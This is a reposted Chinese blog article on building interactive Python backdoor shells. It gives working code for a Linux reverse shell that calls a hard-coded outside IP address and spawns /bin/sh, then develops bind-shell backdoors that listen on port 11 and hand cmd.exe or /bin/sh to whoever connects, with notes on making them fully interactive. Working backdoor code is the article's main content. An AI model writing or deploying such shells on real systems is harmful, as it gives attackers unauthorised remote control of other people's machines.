zoukankan      html  css  js  c++  java
  • (转)python正向连接后门

    python正向连接后门

    PHITHON 
        python在linux下的反弹shell代码我相信很多人都见过:
    import socket,subprocess,os
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect(("59.188.234.64",14575))
    os.dup2(s.fileno(),0)
    os.dup2(s.fileno(),1)
    os.dup2(s.fileno(),2)
    p=subprocess.call(["/bin/sh","-i"]);

        原理很简单。新建一个socket,并将0、1、2分别代表系统的stdin、stdout、stderr(标准输入、输出、错误)重定向到socket中,然后开启一个shell。这样我们从socket中传来的命令就会进入系统的标准输入(就跟键盘输入的效果一样了),系统的输出和错误就会重定向到socket中,被我们客户端获取。但这个弹shell脚本只能在linux下使用。

        那么,本文着重讨论正向连接的shell,特别是windows下的cmdshell。

        我们唯一的要求就是交互式。举个例子,我nc连接上后,执行cd xx目录进入某目录,再执行dir能够列出该目录下文件,而不是再开启一个cmd,又列出默认目录下文件。一定要是交互式的,不能是伪交互式。

        还有一个测试方式。我们执行set a=1,再执行echo %a%,如果输出的是1,说明是交互式,否则不是交互式。

        关于交互式正向连接shell,有几个点需要注意

        1.不管在linux还是windows下,想要做到交互式,就只能开启一个shell。不能够每次接收到命令就再开启一个shell进程,然后执行,这样做的效果和os.system('命令')类似,就不用搞这么复杂了。
        2.windows下cmd.exe /K参数是保持cmd不结束,/c参数是执行完后就结束,注意区别。

        我之前的想法是,python首先新建一个socket监听端口等待连接。客户端连接上以后,就开启一个shell进程,然后把进程的标准输入输出错误(stdin、stdout、stderr)都重定向到管道中,通过管道和python程序连接,py中的subprocess库已为我们封装好了这个功能,我们不用自己再新建管道了。
        然后进入一个循环,每次读取一下socket中数据,然后写入stdin中,通过管道传输给shell,shell执行完后,我用stdout.read()将结果读取到,再send给客户端。

        想法很单纯很美妙,但实践起来就出问题了。python中read不是异步的,只有读取指定字节或读取到EOF才会返回结果。如果没有EOF那么read就一直读,程序阻塞在这里,于是表现出来就是卡死了。我nc中输入dir,什么返回都没有。只要把python关掉,那边才会返回一个结果。
        所以,解决思路有四:
        1.如果能知道shell向管道里写入了多少字节数据,我read(n)读取这个字节数据即可
        2.如果有异步的read函数,调用也能解决问题
        3.实在没办法,可以另开启一个线程,专门读取管道中的数据
        4.不使用管道,直接把shell的输入输出定向到socket中。不过在windows下使用总报错,后面再讲。

        思路1、2,我是没想到好办法的。没办法知道管道内数据的大小,没找到异步read函数。
        我用思路3写出了windows下的正向连接cmdshell:

    from socket import *
    import subprocess
    import os, threading
    
    def send(talk, proc):
            import time
            while True:
                    msg = proc.stdout.readline()
                    talk.send(msg)
    
    if __name__ == "__main__":
            server=socket(AF_INET,SOCK_STREAM)
            server.bind(('0.0.0.0',11))
            server.listen(5)
            print 'waiting for connect'
            talk, addr = server.accept()
            print 'connect from',addr
            proc = subprocess.Popen('cmd.exe /K', stdin=subprocess.PIPE, 
                    stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
            t = threading.Thread(target = send, args = (talk, proc))
            t.setDaemon(True)
            t.start()
            while True:
                    cmd=talk.recv(1024)
                    proc.stdin.write(cmd)
                    proc.stdin.flush()
            server.close()

        测试可用,是交互式的:

        03.jpg

        04.jpg

        用了多线程,开启了一个新线程,这个线程专门从stdout中read数据,即使阻塞也不会影响主线程的socket过程。

        我用思路4写了一个linux版本,可以完美使用:

    from socket import *
    import subprocess
    import os, threading, sys, time
    
    if __name__ == "__main__":
            server=socket(AF_INET,SOCK_STREAM)
            server.bind(('0.0.0.0',11))
            server.listen(5)
            print 'waiting for connect'
            talk, addr = server.accept()
            print 'connect from',addr
            proc = subprocess.Popen(["/bin/sh","-i"], stdin=talk,
                    stdout=talk, stderr=talk, shell=True)
        效果:

    05.jpg

        直接在popen的时候,将新建进程的stdin、stdout、stderr都重定向到socket中。这样就可以不使用管道通信了。这也是C语言下零管道后门的原理。
    但不知道为什么,我写了一个windows版本,总是报错:

        06.jpg

        不太能理解,windows版本就把/bin/sh替换成cmd.exe,但就出这个错。
        以上是我对python下正向连接shell的分析,希望能帮到同样有困惑的人,其中纰漏与错误,能得到大家的斧正!

  • 相关阅读:
    review01
    在win+r中常用的命令
    shutdown命令
    XML解析,出现ClassCastException 原因
    XML解析,出现ClassCastException 原因
    韩顺平循序渐进学JAVA从入门到精通 视频全套,需要的联系我
    韩顺平循序渐进学JAVA从入门到精通 视频全套,需要的联系我
    线程池,以后有时间看
    线程池,以后有时间看
    利用线程分离发送和接受,这样每个客服端都可以分离
  • 原文地址:https://www.cnblogs.com/wangshuyang/p/11126953.html
Copyright © 2011-2022 走看看